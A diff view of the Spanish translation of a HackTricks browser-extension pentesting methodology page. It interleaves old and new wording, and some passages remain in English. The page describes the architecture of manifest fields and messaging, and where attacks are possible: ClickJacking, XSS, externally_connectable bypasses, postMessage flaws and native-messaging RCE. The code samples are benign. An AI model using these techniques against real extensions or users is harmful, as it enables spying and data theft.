{{#include ../../banners/hacktricks-training.md}}

391
src/pentesting-web/browser-extension-pentesting-methodology/README.md
View File

@ -1,41 +1,41 @@
# Metodología de Pentesting de Extensiones de Navegador
# Browser Extension Pentesting Methodology
{{#include ../../banners/hacktricks-training.md}}
## Información Básica
## Información básica
Las extensiones de navegador están escritas en JavaScript y son cargadas por el navegador en segundo plano. Tienen su [DOM](https://www.w3schools.com/js/js_htmldom.asp) pero pueden interactuar con los DOM de otros sitios. Esto significa que puede comprometer la confidencialidad, integridad y disponibilidad (CIA) de otros sitios.
Las extensiones del navegador están escritas en JavaScript y se cargan en segundo plano por el navegador. Tienen su [DOM](https://www.w3schools.com/js/js_htmldom.asp) pero pueden interactuar con los DOMs de otros sitios. Esto significa que pueden comprometer la confidencialidad, integridad y disponibilidad (CIA) de otros sitios.
## Componentes Principales
## Componentes principales
Los diseños de las extensiones se ven mejor cuando se visualizan y constan de tres componentes. Veamos cada componente en profundidad.
Los diseños de las extensiones se comprenden mejor visualmente y constan de tres componentes. Veamos cada componente en profundidad.
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
### **Scripts de Contenido**
### **Scripts de contenido**
Cada script de contenido tiene acceso directo al DOM de una **única página web** y, por lo tanto, está expuesto a **entrada potencialmente maliciosa**. Sin embargo, el script de contenido no contiene permisos más allá de la capacidad de enviar mensajes al núcleo de la extensión.
Cada script de contenido tiene acceso directo al DOM de una **única página web** y, por tanto, queda expuesto a **entradas potencialmente maliciosas**. Sin embargo, el script de contenido no tiene permisos aparte de la capacidad de enviar mensajes al núcleo de la extensión.
### **Núcleo de la Extensión**
### **Núcleo de la extensión**
El núcleo de la extensión contiene la mayoría de los privilegios/accesos de la extensión, pero el núcleo de la extensión solo puede interactuar con el contenido web a través de [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) y scripts de contenido. Además, el núcleo de la extensión no tiene acceso directo a la máquina host.
El núcleo de la extensión contiene la mayor parte de los privilegios/acceso de la extensión, pero solo puede interactuar con contenido web mediante [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) y scripts de contenido. Además, el núcleo de la extensión no tiene acceso directo a la máquina anfitriona.
### **Binario Nativo**
### **Binario nativo**
La extensión permite un binario nativo que puede **acceder a la máquina host con los privilegios completos del usuario.** El binario nativo interactúa con el núcleo de la extensión a través de la interfaz de programación de aplicaciones estándar de Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizada por Flash y otros complementos de navegador.
La extensión puede incluir un binario nativo que puede **acceder a la máquina anfitriona con los privilegios completos del usuario.** El binario nativo interactúa con el núcleo de la extensión a través de la Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) usada por Flash y otros plug-ins del navegador.
### Límites
> [!CAUTION]
> Para obtener los privilegios completos del usuario, un atacante debe convencer a la extensión de pasar entrada maliciosa desde el script de contenido al núcleo de la extensión y desde el núcleo de la extensión al binario nativo.
> Para obtener los privilegios completos del usuario, un atacante debe convencer a la extensión de pasar una entrada maliciosa desde el script de contenido al núcleo de la extensión y desde el núcleo de la extensión al binario nativo.
Cada componente de la extensión está separado de los demás por **fuertes límites protectores**. Cada componente se ejecuta en un **proceso del sistema operativo separado**. Los scripts de contenido y los núcleos de extensión se ejecutan en **procesos de sandbox** no disponibles para la mayoría de los servicios del sistema operativo.
Cada componente de la extensión está separado de los demás por **fuertes límites de protección**. Cada componente se ejecuta en un **proceso del sistema operativo separado**. Los scripts de contenido y los núcleos de extensión se ejecutan en **procesos sandbox** no disponibles para la mayoría de los servicios del sistema operativo.
Además, los scripts de contenido están separados de sus páginas web asociadas al **ejecutarse en un montón de JavaScript separado**. El script de contenido y la página web tienen **acceso al mismo DOM subyacente**, pero los dos **nunca intercambian punteros de JavaScript**, lo que previene la filtración de funcionalidad de JavaScript.
Además, los scripts de contenido están separados de sus páginas web asociadas al **ejecutarse en un heap de JavaScript separado**. El script de contenido y la página web tienen **acceso al mismo DOM subyacente**, pero ambos **nunca intercambian punteros de JavaScript**, impidiendo el leaking de la funcionalidad de JavaScript.
## **`manifest.json`**
Una extensión de Chrome es solo una carpeta ZIP con una [.crx file extension](https://www.lifewire.com/crx-file-2620391). El núcleo de la extensión es el archivo **`manifest.json`** en la raíz de la carpeta, que especifica el diseño, permisos y otras opciones de configuración.
Una extensión de Chrome es simplemente una carpeta ZIP con una [.crx file extension](https://www.lifewire.com/crx-file-2620391). El núcleo de la extensión es el archivo **`manifest.json`** en la raíz de la carpeta, que especifica la estructura, permisos y otras opciones de configuración.
Ejemplo:
```json
@ -61,7 +61,7 @@ Ejemplo:
```
### `content_scripts`
Los scripts de contenido se **cargan** cada vez que el usuario **navega a una página que coincide**, en nuestro caso, cualquier página que coincida con la expresión **`https://example.com/*`** y que no coincida con la regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) de la página.
Los content scripts se **cargan** cada vez que el usuario **navega a una página que coincide**, en nuestro caso cualquier página que coincida con la expresión **`https://example.com/*`** y que no coincida con la regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) de la página.
```json
"content_scripts": [
{
@ -76,9 +76,9 @@ Los scripts de contenido se **cargan** cada vez que el usuario **navega a una p
}
],
```
Para incluir o excluir más URLs, también es posible usar **`include_globs`** y **`exclude_globs`**.
Para incluir o excluir más URLs también es posible usar **`include_globs`** y **`exclude_globs`**.
Este es un ejemplo de script de contenido que añadirá un botón de explicación a la página cuando [la API de almacenamiento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para recuperar el valor `message` del almacenamiento de la extensión.
Este es un ejemplo de content script que añadirá un botón 'explain' a la página cuando [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) se use para recuperar el valor `message` del almacenamiento de la extensión.
```js
chrome.storage.local.get("message", (result) => {
let div = document.createElement("div")
@ -91,22 +91,22 @@ document.body.appendChild(div)
```
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
Un mensaje es enviado a las páginas de la extensión por el script de contenido cuando se hace clic en este botón, a través de la utilización de la [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Esto se debe a la limitación del script de contenido en el acceso directo a las APIs, siendo `storage` una de las pocas excepciones. Para funcionalidades más allá de estas excepciones, se envían mensajes a las páginas de la extensión con las que los scripts de contenido pueden comunicarse.
Un mensaje es enviado a las páginas de la extensión por el content script cuando se pulsa este botón, mediante la utilización de la [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Esto se debe a la limitación del content script para acceder directamente a las APIs, siendo `storage` una de las pocas excepciones. Para funcionalidades más allá de estas excepciones, se envían mensajes a las páginas de la extensión con las que los content scripts pueden comunicarse.
> [!WARNING]
> Dependiendo del navegador, las capacidades del script de contenido pueden variar ligeramente. Para navegadores basados en Chromium, la lista de capacidades está disponible en la [documentación de Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), y para Firefox, el [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sirve como la fuente principal.\
> También es notable que los scripts de contenido tienen la capacidad de comunicarse con scripts de fondo, lo que les permite realizar acciones y transmitir respuestas de vuelta.
> Dependiendo del navegador, las capacidades del content script pueden variar ligeramente. Para los navegadores basados en Chromium, la lista de capacidades está disponible en la documentación de [Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), y para Firefox, la [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sirve como la fuente principal.\
> También es importante señalar que los content scripts tienen la capacidad de comunicarse con background scripts, lo que les permite ejecutar acciones y devolver respuestas.
Para ver y depurar scripts de contenido en Chrome, se puede acceder al menú de herramientas de desarrollador de Chrome desde Opciones > Más herramientas > Herramientas para desarrolladores O presionando Ctrl + Shift + I.
Para ver y depurar los content scripts en Chrome, el menú de herramientas de desarrollador de Chrome puede abrirse desde Opciones > Más herramientas > Herramientas del desarrollador O pulsando Ctrl + Shift + I.
Una vez que se muestran las herramientas de desarrollador, se debe hacer clic en la **pestaña Fuente**, seguida de la pestaña **Scripts de Contenido**. Esto permite observar los scripts de contenido en ejecución de varias extensiones y establecer puntos de interrupción para rastrear el flujo de ejecución.
Al mostrarse las herramientas del desarrollador, hay que clicar la **pestaña Source**, seguida de la **pestaña Content Scripts**. Esto permite observar los content scripts en ejecución de varias extensiones y establecer puntos de interrupción para seguir el flujo de ejecución.
### Scripts de contenido inyectados
> [!TIP]
> Tenga en cuenta que **los Scripts de Contenido no son obligatorios** ya que también es posible **inyectar dinámicamente** scripts y **inyectarlos programáticamente** en páginas web a través de **`tabs.executeScript`**. Esto proporciona en realidad más **controles granulares**.
> Tenga en cuenta que **los Content Scripts no son obligatorios**, ya que también es posible **inyectar** scripts de forma **dinámica** y **programáticamente** en páginas web mediante **`tabs.executeScript`**. Esto proporciona controles más **granulares**.
Para la inyección programática de un script de contenido, se requiere que la extensión tenga [permisos de host](https://developer.chrome.com/docs/extensions/reference/permissions) para la página en la que se van a inyectar los scripts. Estos permisos pueden ser asegurados ya sea **solicitándolos** dentro del manifiesto de la extensión o de manera temporal a través de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
Para la inyección programática de un content script, la extensión debe tener [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) para la página en la que se van a inyectar los scripts. Estos permisos pueden obtenerse solicitándolos en el manifest de la extensión o de forma temporal mediante [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
#### Ejemplo de extensión basada en activeTab
```json:manifest.json
@ -167,19 +167,19 @@ js: ["contentScript.js"],
// Another example
chrome.tabs.executeScript(tabId, { file: "content_script.js" })
```
Para incluir o excluir más URLs, también es posible usar **`include_globs`** y **`exclude_globs`**.
Para incluir o excluir más URLs también es posible usar **`include_globs`** y **`exclude_globs`**.
### Content Scripts `run_at`
### Scripts de contenido `run_at`
El campo `run_at` controla **cuándo se inyectan los archivos JavaScript en la página web**. El valor preferido y por defecto es `"document_idle"`.
El campo `run_at` controla **cuándo se inyectan archivos JavaScript en la página web**. El valor preferido y por defecto es `"document_idle"`.
Los valores posibles son:
- **`document_idle`**: Siempre que sea posible
- **`document_start`**: Después de cualquier archivo de `css`, pero antes de que se construya cualquier otro DOM o se ejecute cualquier otro script.
- **`document_end`**: Inmediatamente después de que el DOM esté completo, pero antes de que se hayan cargado subrecursos como imágenes y marcos.
- **`document_start`**: Después de cualquier archivo de `css`, pero antes de que se construya cualquier otro elemento del DOM o se ejecute otro script.
- **`document_end`**: Inmediatamente después de que el DOM esté completo, pero antes de que subrecursos como imágenes y frames se hayan cargado.
#### Via `manifest.json`
#### Vía `manifest.json`
```json
{
"name": "My extension",
@ -195,7 +195,7 @@ Los valores posibles son:
}
```
A través de **`service-worker.js`**
Mediante **`service-worker.js`**
```javascript
chrome.scripting.registerContentScripts([
{
@ -208,18 +208,18 @@ js: ["contentScript.js"],
```
### `background`
Los mensajes enviados por los scripts de contenido son recibidos por la **página de fondo**, que desempeña un papel central en la coordinación de los componentes de la extensión. Notablemente, la página de fondo persiste a lo largo de la vida de la extensión, operando discretamente sin interacción directa del usuario. Posee su propio Modelo de Objetos del Documento (DOM), lo que permite interacciones complejas y gestión del estado.
Los mensajes enviados por content scripts son recibidos por la **página en segundo plano**, que desempeña un papel central en la coordinación de los componentes de la extensión. Cabe destacar que la página en segundo plano persiste durante la vida útil de la extensión, funcionando de forma discreta sin interacción directa del usuario. Posee su propio Modelo de Objetos del Documento (DOM), lo que permite interacciones complejas y gestión del estado.
**Puntos Clave**:
**Puntos clave**:
- **Rol de la Página de Fondo:** Actúa como el centro nervioso de la extensión, asegurando la comunicación y coordinación entre las diversas partes de la extensión.
- **Rol de la página en segundo plano:** Actúa como el centro neurálgico de la extensión, garantizando la comunicación y coordinación entre las distintas partes de la extensión.
- **Persistencia:** Es una entidad siempre presente, invisible para el usuario pero integral para la funcionalidad de la extensión.
- **Generación Automática:** Si no se define explícitamente, el navegador creará automáticamente una página de fondo. Esta página generada automáticamente incluirá todos los scripts de fondo especificados en el manifiesto de la extensión, asegurando el funcionamiento sin problemas de las tareas de fondo de la extensión.
- **Generación automática:** Si no se define explícitamente, el navegador creará automáticamente una página en segundo plano. Esta página auto-generada incluirá todos los scripts en segundo plano especificados en el manifest de la extensión, asegurando el funcionamiento fluido de las tareas en segundo plano de la extensión.
> [!TIP]
> La conveniencia proporcionada por el navegador al generar automáticamente una página de fondo (cuando no se declara explícitamente) asegura que todos los scripts de fondo necesarios estén integrados y operativos, simplificando el proceso de configuración de la extensión.
> La comodidad que ofrece el navegador al generar automáticamente una página en segundo plano (cuando no se declara explícitamente) garantiza que todos los scripts en segundo plano necesarios estén integrados y operativos, simplificando el proceso de configuración de la extensión.
Ejemplo de script de fondo:
Ejemplo de script en segundo plano:
```js
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
if (request == "explain") {
@ -227,34 +227,34 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
}
})
```
Utiliza la [API runtime.onMessage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) para escuchar mensajes. Cuando se recibe un mensaje de `"explain"`, utiliza la [API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) para abrir una página en una nueva pestaña.
It uses [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) to listen to messages. When an `"explain"` message is received, it uses [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) to open a page in a new tab.
Para depurar el script de fondo, puedes ir a los **detalles de la extensión e inspeccionar el service worker,** esto abrirá las herramientas de desarrollo con el script de fondo:
Para depurar el background script puedes ir a los **extension details and inspect the service worker,** esto abrirá las developer tools con el background script:
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
### Páginas de opciones y otras
Las extensiones de navegador pueden contener varios tipos de páginas:
Las extensiones del navegador pueden contener varios tipos de páginas:
- **Las páginas de acción** se muestran en un **menú desplegable cuando se hace clic en el ícono de la extensión.**
- Páginas que la extensión **cargará en una nueva pestaña.**
- **Páginas de opciones**: Esta página se muestra en la parte superior de la extensión cuando se hace clic. En el manifiesto anterior, en mi caso, pude acceder a esta página en `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` o haciendo clic en:
- **Action pages** are displayed in a **drop-down when the extension ico**n is clicked.
- Pages that the extension will **load in a new tab**.
- **Option Pages**: Esta página se muestra encima de la extensión cuando se hace clic. En el manifest anterior, en mi caso pude acceder a esta página en `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` o haciendo clic:
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
Ten en cuenta que estas páginas no son persistentes como las páginas de fondo, ya que cargan contenido dinámicamente según sea necesario. A pesar de esto, comparten ciertas capacidades con la página de fondo:
Ten en cuenta que estas páginas no son persistentes como los background pages ya que cargan contenido dinámicamente según la necesidad. A pesar de ello, comparten ciertas capacidades con el background page:
- **Comunicación con Scripts de Contenido:** Similar a la página de fondo, estas páginas pueden recibir mensajes de scripts de contenido, facilitando la interacción dentro de la extensión.
- **Acceso a APIs Específicas de la Extensión:** Estas páginas disfrutan de un acceso completo a APIs específicas de la extensión, sujeto a los permisos definidos para la extensión.
- **Communication with Content Scripts:** Similar to the background page, these pages can receive messages from content scripts, facilitating interaction within the extension.
- **Access to Extension-Specific APIs:** These pages enjoy comprehensive access to extension-specific APIs, subject to the permissions defined for the extension.
### `permissions` & `host_permissions`
**`permissions`** y **`host_permissions`** son entradas del `manifest.json` que indicarán **qué permisos** tiene la extensión del navegador (almacenamiento, ubicación...) y en **qué páginas web**.
**`permissions`** and **`host_permissions`** are entries from the `manifest.json` that will indicate **which permissions** the browser extensions has (storage, location...) and in **which web pages**.
Dado que las extensiones de navegador pueden ser tan **privilegiadas**, una maliciosa o una que haya sido comprometida podría permitir al atacante **diferentes medios para robar información sensible y espiar al usuario**.
Como las extensiones del navegador pueden ser tan **privileged**, una maliciosa o una que haya sido comprometida podría permitir al atacante **different means to steal sensitive information and spy on the user**.
Consulta cómo funcionan estas configuraciones y cómo podrían ser abusadas en:
Consulta cómo funcionan estos ajustes y cómo podrían ser abusados en:
{{#ref}}
browext-permissions-and-host_permissions.md
@ -262,13 +262,14 @@ browext-permissions-and-host_permissions.md
### `content_security_policy`
Una **política de seguridad de contenido** también puede declararse dentro del `manifest.json`. Si hay una definida, podría ser **vulnerable**.
Una **content security policy** también puede declararse dentro del `manifest.json`. Si hay una definida, podría ser **vulnerable**.
La configuración predeterminada para las páginas de extensiones de navegador es bastante restrictiva:
La configuración por defecto para las páginas de extensiones del navegador es bastante restrictiva:
```bash
script-src 'self'; object-src 'self';
```
Para más información sobre CSP y posibles bypasses, consulta:
Para más información sobre CSP y potential bypasses, consulta:
{{#ref}}
../content-security-policy-csp-bypass/
@ -276,7 +277,7 @@ Para más información sobre CSP y posibles bypasses, consulta:
### `web_accessible_resources`
Para que una página web acceda a una página de una extensión de navegador, una página `.html`, por ejemplo, esta página debe mencionarse en el campo **`web_accessible_resources`** del `manifest.json`.\
para que una página web pueda acceder a una página de una extensión del navegador, por ejemplo una `.html`, esa página debe estar indicada en el campo **`web_accessible_resources`** del `manifest.json`.\
Por ejemplo:
```javascript
{
@ -294,71 +295,72 @@ Por ejemplo:
...
}
```
Estas páginas son accesibles en URL como:
Estas páginas son accesibles en URLs como:
```
chrome-extension://<extension-id>/message.html
```
En las extensiones públicas, el **extension-id es accesible**:
En las extensiones públicas el **extension-id es accesible**:
<figure><img src="../../images/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
Sin embargo, si se utiliza el parámetro `manifest.json` **`use_dynamic_url`**, este **id puede ser dinámico**.
Sin embargo, si se usa el parámetro `manifest.json` **`use_dynamic_url`**, este **id puede ser dinámico**.
> [!TIP]
> Tenga en cuenta que incluso si se menciona una página aquí, podría estar **protegida contra ClickJacking** gracias a la **Content Security Policy**. Así que también necesita verificarlo (sección frame-ancestors) antes de confirmar que un ataque de ClickJacking es posible.
> Ten en cuenta que incluso si una página está mencionada aquí, podría estar **protegida contra ClickJacking** gracias a la **Content Security Policy**. Por lo tanto, también debes comprobarla (sección frame-ancestors) antes de confirmar que un ataque ClickJacking es posible.
Permitir el acceso a estas páginas las convierte en **potencialmente vulnerables a ClickJacking**:
El hecho de poder acceder a estas páginas hace que estas páginas sean **potencialmente vulnerables a ClickJacking**:
{{#ref}}
browext-clickjacking.md
{{#endref}}
> [!TIP]
> Permitir que estas páginas se carguen solo por la extensión y no por URLs aleatorias podría prevenir ataques de ClickJacking.
> Permitir que estas páginas se carguen solo por la extensión y no desde URLs aleatorias podría prevenir ataques ClickJacking.
> [!CAUTION]
> Tenga en cuenta que las páginas de **`web_accessible_resources`** y otras páginas de la extensión también son capaces de **contactar scripts en segundo plano**. Así que si una de estas páginas es vulnerable a **XSS**, podría abrir una vulnerabilidad mayor.
> Ten en cuenta que las páginas de **`web_accessible_resources`** y otras páginas de la extensión también pueden **contactar con background scripts**. Por lo tanto, si una de estas páginas es vulnerable a **XSS** podría derivar en una vulnerabilidad mayor.
>
> Además, tenga en cuenta que solo puede abrir páginas indicadas en **`web_accessible_resources`** dentro de iframes, pero desde una nueva pestaña es posible acceder a cualquier página en la extensión conociendo el ID de la extensión. Por lo tanto, si se encuentra un XSS abusando de los mismos parámetros, podría ser explotado incluso si la página no está configurada en **`web_accessible_resources`**.
> Además, ten en cuenta que solo puedes abrir en iframes las páginas indicadas en **`web_accessible_resources`**, pero desde una nueva pestaña es posible acceder a cualquier página de la extensión conociendo el extension ID. Por lo tanto, si se encuentra un XSS que abuse de los mismos parámetros, podría explotarse incluso si la página no está configurada en **`web_accessible_resources`**.
### `externally_connectable`
Según la [**documentación**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), la propiedad de manifiesto `"externally_connectable"` declara **qué extensiones y páginas web pueden conectarse** a su extensión a través de [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) y [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
Según la [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), la propiedad de manifest `"externally_connectable"` declara **qué extensiones y páginas web pueden conectarse** a tu extensión vía [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) y [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
- Si la clave **`externally_connectable`** **no** está declarada en el manifiesto de su extensión o se declara como **`"ids": ["*"]`**, **todas las extensiones pueden conectarse, pero ninguna página web puede conectarse**.
- Si se **especifican IDs específicos**, como en `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo esas aplicaciones** pueden conectarse.
- Si se **especifican coincidencias**, esas aplicaciones web podrán conectarse:
- Si la llave **`externally_connectable`** **no** está declarada en el manifiesto de tu extensión o está declarada como **`"ids": ["*"]`**, **todas las extensiones pueden conectarse, pero ninguna página web puede conectarse**.
- Si se especifican **IDs concretos**, como en `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo esas aplicaciones** pueden conectarse.
- Si se especifican **matches**, esas web apps podrán conectarse:
```json
"matches": [
"https://*.google.com/*",
"*://*.chromium.org/*",
```
- Si se especifica como vacío: **`"externally_connectable": {}`**, ninguna aplicación o web podrá conectarse.
- If it's specified as empty: **`"externally_connectable": {}`**, no app or web will be able to connect.
Cuantas **menos extensiones y URLs** se indiquen aquí, **menor será la superficie de ataque**.
Cuantas **menos extensiones y URLs** se indiquen aquí, **más pequeña será la superficie de ataque**.
> [!CAUTION]
> Si una página web **vulnerable a XSS o takeover** se indica en **`externally_connectable`**, un atacante podrá **enviar mensajes directamente al script de fondo**, eludiendo completamente el Content Script y su CSP.
> If a web page **vulnerable to XSS or takeover** is indicated in **`externally_connectable`**, an attacker will be able to **send messages directly to the background script**, completely bypassing the Content Script and its CSP.
>
> Por lo tanto, este es un **bypass muy poderoso**.
> Therefore, this is a **very powerful bypass**.
>
> Además, si el cliente instala una extensión maliciosa, incluso si no se le permite comunicarse con la extensión vulnerable, podría inyectar **datos XSS en una página web permitida** o abusar de las APIs **`WebRequest`** o **`DeclarativeNetRequest`** para manipular solicitudes en un dominio objetivo alterando la solicitud de una **archivo JavaScript**. (Tenga en cuenta que el CSP en la página objetivo podría prevenir estos ataques). Esta idea proviene de [**este artículo**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
> Moreover, if the client installs a rogue extension, even if it isn't allowed to communicate with the vulnerable extension, it could inject **XSS data in an allowed web page** or abuse **`WebRequest`** or **`DeclarativeNetRequest`** APIs to manipulate requests on a targeted domain altering a page's request for a **JavaScript file**. (Note that CSP on the targeted page could prevent these attacks). This idea comes [**from this writeup**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
## Resumen de comunicación
### Extensión <--> WebApp
Para comunicarse entre el script de contenido y la página web, generalmente se utilizan mensajes post. Por lo tanto, en la aplicación web, generalmente encontrará llamadas a la función **`window.postMessage`** y en el script de contenido oyentes como **`window.addEventListener`**. Sin embargo, tenga en cuenta que la extensión también podría **comunicarse con la aplicación web enviando un Post Message** (y por lo tanto la web debería esperarlo) o simplemente hacer que la web cargue un nuevo script.
Para comunicarse entre el content script y la página web normalmente se usan post messages. Por tanto, en la aplicación web normalmente encontrarás llamadas a la función **`window.postMessage`** y en el content script listeners como **`window.addEventListener`**. Ten en cuenta, sin embargo, que la extensión también podría **comunicarse con la aplicación web enviando un Post Message** (y por tanto la web debería esperarlo) o simplemente hacer que la web cargue un nuevo script.
### Dentro de la extensión
Generalmente se utiliza la función **`chrome.runtime.sendMessage`** para enviar un mensaje dentro de la extensión (generalmente manejado por el script `background`) y para recibirlo y manejarlo se declara un oyente llamando a **`chrome.runtime.onMessage.addListener`**.
Normalmente se usa la función **`chrome.runtime.sendMessage`** para enviar un mensaje dentro de la extensión (usualmente manejado por el `background` script) y para recibir y manejarlo se declara un listener que llama a **`chrome.runtime.onMessage.addListener`**.
También es posible usar **`chrome.runtime.connect()`** para tener una conexión persistente en lugar de enviar mensajes individuales, es posible usarlo para **enviar** y **recibir** **mensajes** como en el siguiente ejemplo:
También es posible usar **`chrome.runtime.connect()`** para tener una conexión persistente en lugar de enviar mensajes individuales; puede usarse para **send** y **receive** **messages** como en el siguiente ejemplo:
<details>
<summary><code>chrome.runtime.connect()</code> ejemplo</summary>
<summary><code>chrome.runtime.connect()</code> example</summary>
```javascript
var port = chrome.runtime.connect()
@ -389,19 +391,19 @@ console.log("Content script received message from background script:", msg)
```
</details>
También es posible enviar mensajes desde un script de fondo a un script de contenido ubicado en una pestaña específica llamando a **`chrome.tabs.sendMessage`** donde necesitarás indicar el **ID de la pestaña** a la que enviar el mensaje.
También es posible enviar mensajes desde un background script a un content script ubicado en una pestaña específica llamando a **`chrome.tabs.sendMessage`**, donde necesitarás indicar el **ID de la pestaña** a la que enviar el mensaje.
### Desde `externally_connectable` permitido a la extensión
### Desde los `externally_connectable` permitidos a la extensión
**Las aplicaciones web y las extensiones de navegador externas permitidas** en la configuración de `externally_connectable` pueden enviar solicitudes usando :
**Web apps y extensiones de navegador externas permitidas** en la configuración `externally_connectable` pueden enviar solicitudes usando :
```javascript
chrome.runtime.sendMessage(extensionId, ...
```
Donde es necesario mencionar el **ID de la extensión**.
Cuando sea necesario mencionar el **extension ID**.
### Mensajería Nativa
### Native Messaging
Es posible que los scripts de fondo se comuniquen con binarios dentro del sistema, que podrían ser **propensos a vulnerabilidades críticas como RCEs** si esta comunicación no está debidamente asegurada. [More on this later](#native-messaging).
Es posible que los background scripts se comuniquen con binaries dentro del sistema, lo que podría ser **propenso a vulnerabilidades críticas como RCEs** si esta comunicación no está debidamente asegurada. [More on this later](#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -411,11 +413,11 @@ console.log("Received " + response)
}
)
```
## Web **↔︎** Comunicación de Scripts de Contenido
## Web **↔︎** Comunicación con Content Script
Los entornos donde operan los **scripts de contenido** y donde existen las páginas anfitrionas están **separados** entre sí, asegurando **aislamiento**. A pesar de este aislamiento, ambos tienen la capacidad de interactuar con el **Modelo de Objetos del Documento (DOM)** de la página, un recurso compartido. Para que la página anfitriona participe en la comunicación con el **script de contenido**, o indirectamente con la extensión a través del script de contenido, se requiere utilizar el **DOM** que es accesible por ambas partes como canal de comunicación.
Los entornos en los que operan los **content scripts** y en los que existen las host pages están **separados** entre sí, garantizando la **aislación**. A pesar de este aislamiento, ambos pueden interactuar con el **Document Object Model (DOM)** de la página, un recurso compartido. Para que la host page establezca comunicación con el **content script**, o indirectamente con la extensión a través del content script, es necesario utilizar el **DOM** accesible por ambas partes como canal de comunicación.
### Mensajes Post
### Post Messages
```javascript:content-script.js
// This is like "chrome.runtime.sendMessage" but to maintain the connection
var port = chrome.runtime.connect()
@ -450,15 +452,16 @@ window.postMessage(
false
)
```
Una comunicación segura de Post Message debe verificar la autenticidad del mensaje recibido, esto se puede hacer verificando:
Una comunicación Post Message segura debe comprobar la autenticidad del mensaje recibido; esto puede hacerse comprobando:
- **`event.isTrusted`**: Esto es True solo si el evento fue desencadenado por una acción del usuario.
- El script de contenido podría esperar un mensaje solo si el usuario realiza alguna acción.
- **dominio de origen**: podría esperar un mensaje solo de una lista permitida de dominios.
- Si se utiliza una expresión regular, ten mucho cuidado.
- **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **del mismo ventana** donde el Script de Contenido está escuchando.
- **`event.isTrusted`**: This is True only if the event was triggered by a users action
- El content script podría esperar un mensaje solo si el usuario realiza alguna acción
- **origin domain**: might expecting a message only allowlist of domains.
- If a regex is used, be very careful
- **Source**: `received_message.source !== window` can be used to check if the message was **from the same window** where the Content Script is listening.
Las comprobaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que consulta en la siguiente página los **potential Post Message bypasses**:
Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que verifica en la siguiente página **potenciales bypasses de Post Message**:
{{#ref}}
../postmessage-vulnerabilities/
@ -466,7 +469,8 @@ Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables,
### Iframe
Otra posible forma de comunicación podría ser a través de **URLs de Iframe**, puedes encontrar un ejemplo en:
Otra posible forma de comunicación puede ser a través de **Iframe URLs**, puedes encontrar un ejemplo en:
{{#ref}}
browext-xss-example.md
@ -474,21 +478,22 @@ browext-xss-example.md
### DOM
Esto no es "exactamente" una forma de comunicación, pero el **web y el script de contenido tendrán acceso al DOM web**. Así que, si el **script de contenido** está leyendo alguna información de él, **confiando en el DOM web**, el web podría **modificar estos datos** (porque el web no debería ser confiable, o porque el web es vulnerable a XSS) y **comprometer el Script de Contenido**.
